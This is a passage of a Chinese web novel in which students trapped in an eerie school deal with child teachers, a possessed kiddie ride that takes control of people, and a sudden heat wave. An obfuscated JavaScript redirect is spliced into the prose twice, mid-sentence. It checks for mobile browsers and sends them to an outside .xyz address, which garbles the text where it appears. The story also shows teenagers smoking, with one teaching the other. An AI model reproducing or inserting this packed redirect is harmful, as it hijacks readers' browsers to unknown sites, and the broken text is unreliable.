“话说这个妞妞到底是谁啊?”季明轩百思不得其解,摸着下巴:“怎么比我表姐还容易生气。” 李确没忍住,笑了一声。 周雅宜小脸染上羞赧:“你给我闭嘴!” 于是两个男生同时闭上嘴。 周雅宜又尴尬又着急,忙向李确解释:“不不不我不是在说你啊,我骂的是他。” 她深吸一口气,要不是中间隔了四五个人,她一定要把季明轩给揍开瓢。 “嘘——!” 又是一声哨响,从二楼传来。 众人立刻反应过来是要上课了,转身追魂夺命地往教学楼里跑,不知道的还以为是丧尸来了。 看名单,温初夏被分到了一班,教室就是昨晚的考场,依旧很破,不过因为桌凳少了一半,所以看起来宽敞了不少,6列5排,没有同桌。 一进教室,温初夏就目标明确地来到最后一排靠窗的位置坐下,邻近的座位在五秒之内被迅速填满。 前面是周雅宜,前前面是季明轩,左边是宋云泽,左前方是时准,时准前面是李书雪。 坐下后,李书雪试图和宋云泽换个位置,但遭受到对方的断然拒绝,翻了个白眼,又转回去。 和昨天相比,今天的教室黑板上方多了个钟,时间正好指向7点30,左侧的温度计显示温度为4℃,就比昨晚升高了一度。 门口墙上还贴了张课表,今天是周一,上午第一节课是语文,铃声打响后,一个小女孩抱着课本走了进来。 短发,斜刘海,下巴左边有一颗黑痣,除了年龄和身高不一致外,其余特征完全和阚春兰对的上,甚至连上课时眼中射出的犀利光芒都一毛一样。 这下可以确定了,这个学校里所有老师,都是清荟的返老还童版。 并且教的知识也更复杂了,许多内容放在现实高中都属于超纲范畴,但这群小孩老师却把它们当做重点来讲,大部分学生都听的云里雾里。 第二节英语结束后,校园卡发了下来,大家都跑去小卖部买东西。 昨晚实在过得太艰苦了,寝室里牙膏牙刷毛巾这些洗漱用品一律没有,并且还没有热水,所有人都是用冰凉的冷水洗的脸漱的口。 对于这些从小娇生惯养的人来说,简直是种酷刑。 小卖部面积不大,商品种类却很多,十几排货架被挤得满满当当,用的吃的喝的玩的一应俱全,甚至还有药,让蜂拥而至的学生们眼睛一亮。 然而仔细一看价格,心直接碎了。 “一根破牙刷居然要我0.8分??!”李书雪一脸震惊,“这塑料刷毛硬的都能当鞋刷了,怎么好意思卖这么贵的!” 纯棉长袜,一双1.0分。 看到这个价格,季明轩心平气核地把烫手的袜子放回去,问旁边的李确:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512503|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你说就这天气,洗了的袜子一晚上能晾干吗?” “多半不能。”李确目光艰难地从价格高达5.0分的小型吹风机上略过,又安慰说:“不过穿不穿袜子对现在的我们来说好像没什么区别,反正脚都是麻的,感觉不出来。” 季明轩竖起大拇指:“你说的有道理。” 校园卡里的积分是根据昨晚第一场的考试来的,取九科成绩的平均分,60名学生里,除了温初夏87,时准44.8,李确35.4之外,其余所有人的积分都低于25。 季明轩最少,只有可怜的9.2。 所以大家逛来逛去,拿起又放下无数次,最终买的东西都少的可怜,并全都是生活必需品,不用活不下去的那种。 男生普遍糙点儿,都只拿了牙刷杯子毛巾纸巾外加一两件贴身衣物,并且还觉得挺够用。 但女生就不行了,洗头得用洗发水,洗澡得用沐浴露,再不济也得是香皂,内衣不能和外套一样都那洗衣粉洗,而且天气这么冷,吹风机是必不可少的…… 所以她们商量了一下,打算比较耐用的消耗品合资买。 “初夏,你同意吗?”姜荞语怀里抱着一堆东西问。 “当然可以啊。”点完头,温初夏伸手把她怀里的吹风机拿过来,“不过这个吹风机就我付吧,告诉大家想用的时候来201拿就行。” “真的?”姜荞语顿时喜上眉梢,嘴里却还是说:“其实我们一人平均下来花不了多少钱的……” “30除以5是0.6呢,够你们一人多买一根牙膏三筒卷纸了。”温初夏转了转手里的卡,“没事儿,反正我不差钱。” “哇哦~”李书雪做作地感叹一声,靠近悄咪咪说:“富婆果然无论走到哪里都是富婆哦。” 温初夏笑了笑,正要提醒她继续帮自己保密,《等风》的剧情线还没有结束,特困生的马甲最好不要掉,哪怕是在这个界面。 结果这时,旁边忽然响起了《献给爱丽丝》的音乐,两人齐齐看向声音的来源,发现原来是季明轩手欠,拿起货架上的喇叭在玩。 他大概也没料到这玩意儿会突然开始放歌,而且声音还这么响,试了好几次,急的耳朵都红了,才终于把罪恶的喇叭给关掉。 等上午的四节课全部结束,一群没吃早饭的学生们早已饿的前胸贴后背,有生以来第一次对学校食堂产生如此强烈的渴望,下课铃一打就。 但到了地方才知道,给他们打饭的食堂阿姨和叔叔居然也全都是小孩,穿着白色工作服,头上戴着一次性的无纺布帽子,脸上戴着口罩,因为身高不够,还得踩在凳子上工作。 “好神奇啊。”都端着餐盘坐下了,周雅宜还是忍不住回头看了打饭窗口好几眼,“他们怎么也变小了?这还是真实世界吗?” “不知道,很难说。” 温初夏低头往嘴里塞了口大米饭,嚼了嚼,感觉这饭在焖的时候水加多了些,但因为是免费的,她懒得挑理,吃得云淡风轻。 倒是对面这俩从小吃鱼子酱和帝王蟹长大的千金大小姐,周雅宜和李书雪,在观察完温初夏的表情后,以为饭菜的口味还不错,结果在入口的一瞬间,十分默契地同时yue了出来。 “好难吃啊,这菜里怎么放这么多油。” “最讨厌吃胡萝卜了。” 可肚子又实在很饿,她们别无选择,只能继续往下吃,填饱肚子,感觉自己的胃这辈子没受过这么大委屈。 吃完饭,温初夏说自己还有东西没买,让她们先回寝室休息,然后只身一人去了小卖部。 “哎——” 付子衿收拾自己好少的可怜的东西,关上柜门,坐在下床感慨:“好羡慕温初夏啊,一个人就有八十多分,比我们五个人加起来都要多。” “是啊。”上铺的杜惜文也一脸惆怅,“我上午几乎把卡里的分给花完了,现在余额就剩2.7,也不知道能不能撑过这个月。” 床位靠近门口的许碧彤弱弱道:“你们说我们能不能找温初夏借点分啊?” 此话一出,整个寝室变得沉默起来。 大家都是富裕家庭出生的,从小到大不愁吃不愁喝,在花钱上也习惯大手大脚,可以说“借”这个行为,之前从来没有发生在她们身上过。 可现在呢,莫名其妙来到这个破地方,不仅和外界联系不上,生活还变得如此拮据,说没有落差感,那是骗人的。 “怎么了这是。”温初夏提着大包小包推门而入,奇怪地看了宿舍的人一眼,微微喘着气问:“气氛这么沉重,在开追悼会啊?” “是啊。”李书雪躺倒在床,铁架子嘎吱嘎响,沉痛道:“哀悼我们逝去的青春。” 温初夏:??? “行了,别矫情了啊。”她笑了笑,把几个塑料袋放在地上,蹲下打开,“你们快来帮我分一下,给每个寝室送8包。” 周雅宜首先走上前:“你买的什么啊这么多。” “卫生巾。”温初夏边掏边吐槽,“我真是服了,怎么无论在哪儿卫生巾都卖这么贵,这一堆花了我20。” 又掏了几秒,才终于从卫生巾山底下找到了想给周雅宜的东西:“哦对了,这俩给你。” “什么?”周雅宜呆呆地接过。 温初夏:“这个是冻疮膏,这个是润唇膏。我今天上午看见你想买唇膏又不舍得,就顺便给你买回来了。” “……” 见这人拿了东西半天没啃声,就在面前站着,温初夏略有些疑惑,忙碌之中抬起头,看见周雅宜bia着个嘴,两眼擒满水淋淋的泪花,看样子马上就要掉下来了。 温初夏顿时如临大敌,急忙扔了手里的卫生巾,把她的下巴往上一抬。 忽然抬头看向天花板的周雅宜:! “想哭自个儿到厕所哭去。”温初夏蹲下继续分东西,假装很忙,“别对着我哭,我又不会哄人。” 周雅宜差点儿闪了脖子:请问您是对这种温情时刻过敏是吗??? 下午两点半。 教室。 天冷,教室的窗户都是关着的,唯独最后一面窗留有一条细微的缝隙。 温初夏左手撑腮,身体的中心也偏向左,表面上在认真听课,实则却一直密切关注着楼外的任何一丝风吹草动。 课大约上到一半,她忽然举手示意:“老师,我想去趟卫生间。” 讲台上把头发梳成大人模样的小孩老师看她一眼,手里捏着的教材往门口一挥,闭眼道:“去吧去吧。” “谢谢老师。” 温初夏站起来,快步从后门离开教室,但没有把门带上。 微风凉飕飕地灌进来,坐在后门的男生觉得有些冷,扭身想把门关上,却隐约听见风里传来一道微弱的歌声,歌词是这么唱的: “请把我的歌,带回你的家,请把你的微笑留下……” 这声音越来越近,由模糊到清晰。 男生觉得奇怪,手扒在门上,一直没有关。 直到,一张令人毛骨悚然的巨大笑脸出现在楼梯口。 通红饱满的两颊裂满了蛛网般的细纹,嘴角的油漆成片剥落,露出底下暗褐色的木质纹理,像是笑裂开来。 一只眼睛空洞地凹陷着,有脏污从里面蔓延出来,如同渗出的血泪,而另一只眼里,那道漆黑的瞳孔正死死盯着自己! 这种东西,怎么能上楼来的??! 男生惊恐万分,正要张嘴大声尖叫,下一秒,身体的掌控权却像是落入了别人手里。 他不由自主地站了起来,一步一步,向门外走去。 29. 第 29 章 五分钟后。 向日葵小学正在上演一场奇观。 憋闷了一上午的太阳终于将厚重的云层烤化蒸发,突破重围后的第一缕日光,落在了一辆残破不堪的摇摇车上。 褪色的天蓝色车身布满霉斑,在日照下泛着冷硬的青光。胡乱贴在上面的卡通贴纸也早已泛黄剥落,铁皮东凹一块西凹一块。 座椅更是惨不忍睹,粉色革裂开数道大口子,露出里面的海绵填充物。 而就是这辆破旧残缺到极致,仿佛经历过满清十大酷刑的摇摇车,居然还能运转,车身伴随着音乐有节奏地前后摇晃,弹簧发出不堪重负的咯吱声响,神奇地没有散架。 而车底之下的四个轮子,正在教学楼外的平地上徐徐行走。 摇摇车顶着张诡异至极的残缺笑脸,在前面带路。 而它身后,是浩浩荡荡几十名小孩老师,和青少年学生,皆四肢僵硬,面无表情,清奇的场面像是开了0.05倍速的丧尸大片。 校园空空旷旷,回荡着杂音明显的音乐—— “明天明天这歌声 飞遍海角天涯 飞遍海角天涯……” 这破摇摇车大概曲库里只有这一首,在从教学楼到宿舍楼的路上,一直没完没了地不停重播,而且歌词翻来覆去就这么几句,直听的人耳朵起茧。 车轮顺着台阶往上做斜坡运动,看似很容易溜坡打滑,实则稳稳当当,经典力学在此刻失去了绝对权威性,秩序割裂,一切都荒诞离奇的好像一场天马行空的怪梦。 “吱嘎——” 三层楼梯口原本锁住的铁门自动打开。 摇摇车继续往上,人群继续跟上,音乐也仍在播放,直到,他们来到一扇紧闭的房门前。 “咚咚。”摇摇车用脸撞了撞门,力道似乎刻意控制得很轻。 两秒后,门从里面打开,车轮滚了进去,后面紧跟着几位小孩老师,再接下来是学…… “嘭!” 鼻子被猛然关闭的房门重创的瞬间,张文远也重新获得了对自己身体的掌控权, 还没来得及松口气,鼻梁传来的剧痛就让他几乎要升天,捂着鼻子节节后退,忘了身后全是同学,你挤我我挤他,人群如同多米诺骨牌一般倒下一大片。 “小心。” 眼看就要波及到最外围,李确赶紧往后退,并且眼疾手快拉了背对着自己的周雅宜一把。 但他没想到,对方反应也同样很快,自己伸手的同时,周雅宜正好转过身,迈步向前,企图避免成为多米诺骨牌中的一块。 原本就密切过了头的距离被措不及防拉近为零,柔软干燥的薄唇先是碰到了刘海,麻酥酥的痒感顺着唇线一路下行到心脏,紧接着,又被更加贴实的接触所取代。 他的唇,透过发丝,碰到了,她的额头。 两个人同时呼吸一窒。 兵荒马乱之中,有人崩溃地喊:“都愣着干嘛啊,不跑等着他们再从里面出来吗??!” 鬼知道那破车出来后会不会再把他们硬控住。 于是歪七扭八的人群顿时作鸟兽散,惊慌逃命,李确也来不及多想,拉着周雅宜就往楼梯口跑,并期望奔跑时带起的清风能够吹散他脸颊的热浪。 但楼梯间实在太拥挤了,别说跑,步子稍微迈快一点都会把前面人的鞋给踩飞,所以李确只能任凭温度在脸上肆意猖狂,可拉着纤细胳膊的手,却始终没有放开。 如果她问,那我就回答怕你摔了。 李确心中如是想。 直到离开危险地带,才故作自然地轻轻巧巧松开五指。 周雅宜如遭大赦,赶紧穿过人群去另一边找李书雪。 “欸,你脸咋这么红啊?又过敏啦?” “……谁过敏了,是刚才逃跑热出来的!” 相隔人群的声音传来,少年用力抿了抿唇,勉强消除掉唇瓣的痒意,却无可奈何这种感觉向心里蔓延。 …… 下午放学。 食堂。 温初夏一脸迷茫+惊讶的表情,眨眨眼道:“当时究竟发生了什么?你再仔细说一遍,不要漏掉一点细节。” 饭点已经过去,60个学生围坐在略显空荡的食堂,个个神情严肃、愁眉不展,像梁山好汉起义的翻版,食堂高中生起义。 但起义的原因并不是一锅炖的恶心饭菜,而是下午的那件怪事。 温初夏,作为唯一一个因为当时不在教室而幸运逃过一劫的天选之子,再次坐在人群最中间的C位,组织开展本次“邪恶摇摇车逮人事件”的案情分析大会。 “当时你出去上厕所不是忘了关后门吗,我觉得后背冷飕飕的,就转头想把门关上。” 刘文远手里拿了根雪糕给可怜的鼻子冰敷,说话鼻音略重: “然后那个独眼龙怪车就出现了,从楼梯爬上来的,咧着个血红大嘴眼珠子盯着我笑。当时我吓得血液都特么凝固了,刚想大叫,两条腿就不受控制地站了起来,跟在它屁股后面走,没法自由活动也没法说话,简直像被下蛊了一样。” 其余人纷纷附和—— “我也是,看见那辆怪车的瞬间就感觉身体不是自己的了,然后不由自主跟在了它后面。” “不止是我们,那些小hai……小老师们也一样,并且他们还和摇摇车一起进了宿舍三楼的房间,里面到底有什么东西呀?” “不会里面住着鬼吧??” “那个房间就在我们寝室正上方,你别吓我啊!” “感觉是不是跟那首歌有关啊,怎么唱来着?请把我的歌,带回你的家,请把你的……” “停停停stop!别唱了,听着好诡异啊,我鸡皮疙瘩都起来了。” “确实,我也觉得那首歌不太正常,明明是首儿歌,听起来却阴森森的。” 温初夏翘着二郎腿,继续追问:“你们跟着那辆车到了宿舍楼三层,然后呢?” “然后,就没有然后了呀。” 冰的时间太长鼻子都麻了,刘文远“斯哈”一声,干脆把这跟价值高达0.8分的雪糕拆开来吃,囧眉道: “那怪车领着老师们进去之后立刻就把门关上了,我一眼都没瞄着,鼻子还差点儿撞骨折,这破学校也没个医务室……” 听他讲完事情的全部细节,温初夏表情肃然地托着下巴,陷入思考。 交头接耳的人圈逐渐安静下来,59道目光纷纷寄托在她一个人身上,期待她能像上次那样,一针见血地勘破问题的疑点,找到化解之法。 良久。 天选之子终于开口:“我觉得……” 众人不约而同地屏起一口气,听她道: “摇摇车的行为逻辑应该是看见人就会抓,但只要不被它发现,就像我当时在厕所隔间里,也听见了歌声,不过因为没有被它发现,所以没有和你们一样被它控制。” 温初夏顿了顿,又说:“而且我感觉,摇摇车的目标应该不是我们,而是那些小孩老师——不然为什么它只让他们进那个房间,并且进去之后就立刻解开了对你们的控制?事后广播也没有任何通知或者警告,说我们违反规则之类的。” 大家纷纷点头:“没错。”“我觉得初夏说的有道理。”“居然不是歌的原因啊,那那首歌到底是啥意思?”“三层房间里到底有什么呀,走廊看着和我们住的一二层也没啥区别……” 宋云泽琢磨道:“我感觉那破车说不定以后还会再出现。” “欸——”温初夏眼睛一亮,和他隔空对视,语气不由得染上兴奋:“我也觉得!” 又分析说:“这里是小学,老师是小孩,摇摇车又只有小孩才会坐,感觉这个车很可能是什么关键道具,或者是起到某些其他作用。说不定它身上还藏着帮助我们离开这里的线索呢!” 宋云泽眼里带笑,看着她:“那它下次来我们该怎么办?” 温初夏故作思索两秒,演完正要开口,没想到时准却抢先道:“当然不能像下午一样被它控制住咯,不然要怎么找线索。” 笑意瞬间消失,宋云泽闭嘴看向别处,传递的意思很直接也很明显:我又没问你。 温初夏一看他俩在这儿争锋相对就觉得头疼,轻叹了口气,说:“如果它下次再来的话,大家就先躲起来吧,下午我去教学楼三四层看过,那里的教室都改成了杂物间,大家可以躲在里面,顺便还能找找看有没有线索。” 学生行为规范守则第七条规定,中午和晚上教学楼会锁住不让学生进。 并且今天第一节语文课上,mini版的阚老师还言辞令色地警告过他们,不许上楼,哪怕是课间时分也不行,逮到一次,罚站一周。 所以要想去楼上找线索,就只能趁摇摇车来的时候了。 第二天下午。 温初夏凭借地理优势,首先看见摇摇车又出现在教学楼外的空地,马上就要上楼来了,通知大家赶快躲起来。 闻言,教室像被掀了盖子的蜂巢般沸腾起来,桌椅板凳与地面摩擦出刺啦刺啦的声响,以地震来临时逃命的速度推搡着往门外涌出。 之所以跑这么快,想上楼找线索是一个原因,不想再看见那个笑容惊悚的邪恶摇摇车又是另一个更重要的原因。 踩在凳子上讲课的孟诗差点被逃跑的人浪给掀翻,小短腿在凳面踉跄了好几下,勉强稳住没摔,抬起头想出言制止,却发现面前早已人去室空,无奈,只能愤怒地把教材摔在讲桌上。 很快,走廊传来熟悉的歌声。 四层东侧,卫生间。 温初夏独自一人站在洗手池旁的横窗边,斜靠着墙,目送摇摇车带领着一群小孩,以及二班几名没逃跑成功的倒霉学生去往宿舍楼,眼神淡淡的,不知道在想些什么。 此时,所有逃过一劫的学生都在三四层的杂物间里翻得热火朝天,连根用空了的中性笔都要拆开看看,研究里面的笔芯是否藏着什么秘密。 这个时候,能跑到厕所里偷懒躲清闲的,也就只有温初夏一个了。 一分钟后,躲清闲的人变成了两个。 那人进来后,反手关上厕所门,然后拿起夹在水槽之上的拖把,堂而皇之地用拖把杆把门把手卡住。 温初夏顿觉不妙,眉峰不受控地跳了跳,趁时准没注意,又赶紧恢复为悠闲镇定的表情,语气略带惊讶地问:“你怎么来了,不去和大家一起找线索吗?” “那你呢,为什么也不去?” 时准一步步靠近,深邃的双眼盛满了柔和的光彩,如同日光照射下的黑曜石,底色虽冷,但散发出的光泽却是暖的。 还是很小绵羊。 温初夏稍微放宽点心,指了指窗外,理由很充分:“替大家留意老师们什么时候回来啊。行为守则说了,学生不能旷课,否则妞妞要生气的。” 时准停在她面前不到一米的位置,旁边洗手池上的镜子映照出他轮廓清晰的侧颜,线条流畅如墨,像被刻在琥珀里的剪影,棱角分明却不失柔美。 “哦。” 淡淡的语气稍显敷衍,是因为专注的眼神在直勾勾盯着人看。 温初夏被盯的有些心理不适,刚才松下的那口气又紧了回来,视线轻移向左,扫了眼他身后被卡住的门,脸上的微表情泄露出紧张和慌乱。 “你来就来吧,干嘛把门锁住?” “因为不想被人打扰。” 打扰什么??? 你想干嘛! 没等她开口质问,温初夏就被握住胳膊,“挟持”到镜前。 时准站在身后,看着镜子里的神色明显有些紧绷的女孩,慢慢松开了手,又不动声色地将左手搭在她腰侧的台面上,如同一道铁链,阻断猎物逃跑的可能。 “你记得吗,我们第一次见面的那天晚上,就一起在厕所里呆过,还是男厕。” 离得太近,温热潮湿的气息不费吹灰之力就能落在敏感的耳尖,硬质拉链的触感透过厚重的校服外套传递到肩胛,像有一只羽毛在肌肤上写字画圈。 温初夏想挠又没法下手,只能先回答他的问题:“当然,我记性好得很。” “当时咱俩也像这样一起站在镜子前过。”时准站直身,眼底的笑意愈发灿烂甜蜜,问:“你看我这半年是不是长高了很多?当时我只比你高半个头,现在快比你高一个头了。” 少年欣喜轻快的语气,以及稍微拉开一点的距离,将温初夏心中狂响的警铃关闭,她露出一个无奈又松懈的笑,道:“是——看来你除夕许的那个愿望很灵验啊,有一米八了没?” “有啊。”时准冲镜子里的她得意地抬了抬下巴,臭屁的表情一览无余,“我都182.7了。运动会之前量的。” “有必要这么精确吗。”温初夏笑了,“不就是刚洗头和没洗头的差距。” “当然有必要,身高是男人的第二张脸。”一本正经地说完,时准忽然话锋一转:“你把眼睛闭上,我有个礼物要送给你。” “什么?” 虽然看不见,但眼皮之下的眼珠却还是忍不住想往后瞟,温初夏心想:在这种鬼地方还能送什么礼物?小卖部买的? 耳边传来一阵衣服摩擦的窸窣声,是时准在从兜里掏东西,接着,一个硬硬的东西抵住她的后腰。 ! 温初夏立刻睁眼,在时准和水池之间不到20cm的狭窄空隙快速转身,坚决保护自己的后背,语气充满不可思议:“你敢拿枪指着我?!” “枪?”时准有些懵,举起手里的东西,让她看清楚。 “是烟。”他笑着纠正,“我能从哪儿弄到枪啊。” 温初夏呆住,目光落在他手里方方正正的烟盒,和打火机上。 然后上移,眉心微蹙:“你……” “你想问我为什么会知道你吸烟对吧?” 时准居然完全不认为她吸烟是件很不好的事情,连说这话的语调都是上扬的,甚至带有一丝狡黠的窃喜。 因为他发现了她不为人知的秘密。 所有人都能看见她有多皎洁,唯独只有他,了解她的隐晦。 时准低着头,有些沾沾自喜:“你信不信,我比你想象中的还要了解你。” “……”温初夏不知道该说什么。 她自以为隐藏的很好,没想到还是在不知不觉中露出了马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518803|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚。 这种事情超出预料脱离掌控的感觉,让她感到迟疑与不安。 她很不喜欢这种感觉。 但时准说这句话并不是为求一个回答,他自顾自地打开烟盒,抽出一支来,递到她唇边,低眉顺眼,恭顺到近乎有些谄媚。 自从把打火机送给徐珂之后,温初夏再没抽过一次烟,就连界面即将崩溃压力大到爆炸的那段日子,她都忍住了。 而穿越到这个副本,她开着犯规的上帝视角,带领一群小朋友顺畅无比地做任务,作为主心骨的船长,看迷失的航船一点点回到正轨,无论是成就感还是虚荣心都得到极大的满足,也就没了借烟消愁的欲望。 可此刻,却有人主动把烟递到她嘴边,企图勾起她打算尘封的欲望。 抽? 可再戒烟会很艰难。 不抽? 时准可能会很失望。 每当面对决策,她总是习惯先将感性的灵魂抽离,好让理性百分百占领高地,用局外人的角度审时度势和权衡利弊。 但眼前人期许的目光,却像一张无形的密网,把她容易起恻隐之心的灵魂死死困在身体里,勾她上瘾,引她犯罪,狡猾至极。 当注意到修长的手因长期保持这个姿势而轻微颤抖了两下,温初夏心底的防线彻底溃败,不战而败。 她微启粉唇,含了进去。 高涨的明黄色火焰迫不及待地舔舐上烟尾,使之变成迷人的猩红。 接着,烟丝于唇齿间洇开,尼古丁在血管里跳起了舞曲,挂在尾端的灰白色烟灰仿佛冬日里蜷曲的枯蝶,火光明灭,呛鼻的烟雾随着呼吸被吐成悬在半空的省略号。 这场面简直美丽极了。 她像一支斜倚着的干枯玫瑰,在角落里慢慢腐败,毫不在意是否有人驻足欣赏。 时准看的心驰神荡,忍不住也从烟盒抽出一支来,衔在齿间,低下头,小心地、迫切地、笨拙地,想让两支香烟完成对接工作,但却始不得所愿。 眼前的人笑了,烟雾让唇角的弧度变得模糊,却让放纵的欲望变得清晰。 “别动,我来。” 葱段般的手指夹住燃烧到三分之二的香烟,烟灰簌簌掉落后,星子变得更加灼热滚烫,如降落凡尘的火种,赐予人生机和希望。 时准作为初学者,捏烟的姿势像是攥着一支会发烫的蜡笔,笨拙中带着好笑。 当他尝试着深吸第一口时,辛辣的烟雾就如同狡猾的毒蛇一样刺着鼻腔往上涌,呛入眼底,他猝不及防咳嗽起来,白烟齐刷刷从鼻子喷出,肩膀剧烈颤动。 “哈哈哈……”温初夏笑起来,反手将快要燃尽的烟头按熄在有水的洗手池。 然后,她抽出时准的“蜡笔”,把略微有些湿润的滤嘴部分夹在中指和食指之间,递送进他嘴里,悉心教导:“轻轻含着,用你的舌尖抵住下面的牙齿,慢慢吸一口。一、二、三、四,OK,含住两秒。” “现在,慢慢吐出来。” 时准仰着头,白茫茫的烟雾喷薄而出,盘旋升天。 温初夏欣赏了一会儿他清晰标致的下颌线,接着把还没燃到四分之一的烟也给扔进洗手池里。 时准面露不解:“为什……” “浅尝一口就得了。”温初夏后腰靠在冷冰冰的水池边缘,以过来人的语气教训说:“别真上瘾,戒起来很麻烦的。” 时准瘪着嘴:“可好贵呢,一根0.8分,一盒就要8分。” 夺少??!!! 温初夏直接甩了他胳膊一巴掌:“那你还买?!” 这倒霉孩子看着挺持家的啊,怎么花起钱来这么大手大脚? 谁知时准继续语出惊人:“我看见货架上只有五包,就全买了,都给你抽。” 温初夏双眼瞪大,仰头看着他。 五八四十,时准好像一共就四十来分,岂不是直接见底了? “你卡里还剩多少分?”她问。 时准:“一分不剩。” 平静的表情丝毫不见心疼,好像花的不是他自己的分似的。 “你……”温初夏被气得不轻,举起手想扇他一巴掌,让他清醒清醒,却又不想打坏这张温顺乖巧的帅脸,所以举到一半又放下了。 她皱眉严肃道:“这个月还有接近二十天,你打算怎么生活?” 少年笑眯眯的:“靠你呀。” 温初夏不太明白,睫毛轻颤:“靠我什么?” “小卖部的烟都被我买完了,你以后想抽,只能来我这儿要。”时准低下头,低沉的嗓音如同沉在深海的磁石。 他说:“我把分全部给你,你包养我吧。” 一滴汗顺着凹陷的脊柱线滑落。 温初夏慌乱地推开他,心说周围怎么好像越来越热了,是错觉吗? 时准又凑了上来,拉住她一只手:“我现在连条内裤都买不起,你忍心看我这个月一直就穿一条内裤吗?” ? 这话你也好意思说得出口啊你个心机boy,居然敢拿这种事情威胁我?! 少年炙热的眼神太过热烈,温初夏坳不过他,并且也确实觉得二十天不换内裤太恶心了。她不忍直视地闭上眼,咬牙道:“好了好了别说了,我答应你还不行吗。” “太好了!” 时准一把抱住她,镜子里映照出少年雀跃欣喜的神情,和上次讨要星星成功时的表情一模一样,仿佛获得了世界上最高规格的奖赏。 温初夏被这个咋咋呼呼的拥抱抱的浑身一僵,用了八成力,才终于把自己从时准涂了强力胶的怀里撕开,后背又有两三颗汗水滚落。 她用手扇着风,顾左右而言他:“怎么这么热啊。” 时准拉开校服拉链,感觉衣领里冒出的热气正往脸上蒸腾,奇怪道:“我也觉得好热。是今天太阳比较大的缘故吗?” 温初夏呵呵不语:你也热?得寸进尺浪的吧。 但空气竟然是真的在迅速升温,从刺骨的湿冷到窒息的闷热,中间只间隔了不到三分钟。 温初夏早已脱了厚外套,撸起袖子,一边把胳膊放在水龙头下降温,一边在记忆里疯狂搜索有关这个副本的信息。 她想不起来当时是否有发生过这一出反常,完全没印象。 “好热啊……” 时准捧了一捧清水冲脸,流淌的水珠先沾湿额角碎发,随后漫过下颌,再顺着喉结滚动的弧度滑落到锁骨。 睫羽沾着的水露垂落成帘,猩红的舌尖探出齿间,将唇峰上那颗将坠未坠的水珠轻轻接住。 水花四溅,内搭的浅色衣领被打湿成深色,湿漉漉地贴在皮肤上,沉重憋闷的感觉很不舒服。 于是,他干脆把最后一件衣服也脱了。 十六岁少年薄而挺直的肩胛骨像蝴蝶收拢的翅骨,在细腻的皮肤下透出浅淡的骨感。 呼吸时,肋骨微微起伏,六块腹肌平整地铺在腰腹间,棱线不深却足够清晰,像刻刀轻轻凿出的浅痕,锁骨积蓄的水洼因动作而溢出,顺着痕迹滑落。 眼神控制不住地看过去时,温初夏心里只有一个念头—— 哇,好白,好粉。 30. 第 30 章 “怎么样?” 温初夏紧急撤回一个眼神,和一溜口水,从脖子红到了耳根。 她低头继续冲水,假装很忙,“什么怎么样?” 这鬼天气,热的我耳朵烫。 “当然是我的身材怎么样啊。” 时准转身侧对着她,白的过分的皮肤泛着瓷釉般的光泽,微微鼓起的胸肌如同初熟的白桃,带着毛茸茸的柔软弧度,其间点缀了两点樱花淡粉,随着心跳轻轻地起伏、绽放。 “看都看了,不点评两句?” 直白的目光仿佛经过淬炼的赤金,坦诚到近乎灼烫,沉甸甸地熨帖到少女滚烫的脸颊。 但对方还是不睬他:“是你主动给我看的,我又没要求你……” “脱”字出口的瞬间,温初夏以迅雷不及掩耳的速度,拿起时准放在水池边的衣服,套在他头上。 趁他来不及反应,她赶紧闪去门口,抽出拖把杆开门出去,接着再用同样的方式,把门从外面卡住。 “咚咚咚!” 刚一卡好,门内传来时准愕然的声音:“你干什么?快放我出去!现在外面很可能有危险!!” 但温初夏转身就走,心想:还是和你呆一起更危险。 气温以势不可挡的速度越升越高,空气开始扭曲,连教学楼的水泥地都踩着烫脚。 温初夏本来就不喜欢天气热,此时更是躁得想砍人,将挽到手肘的袖口直接撸到接近肩膀的位置,一路飞奔下至二层。 她先去一班教室看,里面仍旧空无一人,再去对面的二班,这回倒看见了四个人,分别躺在前后门的地板上,双眼紧闭,“死”的很安详。 其中三个是学生,一个是老师冯佑。 他们都出了一身的汗,浑身上下仿佛被水洗过,很有可能是热晕过去了。 二班黑板侧边的墙上也挂着一个温度计,几分钟前,里面染了苏丹红的乙醇溶液还停留在4℃的位置,线条模糊的像是兔子的短尾巴,不仔细瞅根本看不清楚。 而此刻,一根红线直窜上天,显示室内温度为45℃。 并且,似乎还在继续上升。 温初夏蹲下,用力摇了摇冯佑的肩膀,又拍了拍脸,没能唤醒他。 然后换成旁边的男学生,温初夏抄起第一排课桌上的水杯,拧开,稀里哗啦给他洗了个脸,没动静?那啪啪两耳光。 “怎么了怎么了?” 男生猛然惊醒,一睁眼就看见了温初夏。 她拧着眉,数滴汗水正顺着她的额角往下溜达,小巧挺巧的鼻尖也凝满了细密的水珠。 迫切的语气吐字飞快:“你们刚才干了什么?为什么冯老师没有跟着那辆车一起走??” 男生被高温蒸得头昏脑胀,脸还火辣辣地疼,迷迷瞪瞪思索了好几秒,才回忆起发生了什么,干裂的嘴唇在开口的瞬间裂出好几道血痕。 “刚才……我、我们几个来不及逃跑,就把前后门都堵住,阻止车进来。想着只要它进不了教室,看不见我们,我们就不会被抓。” 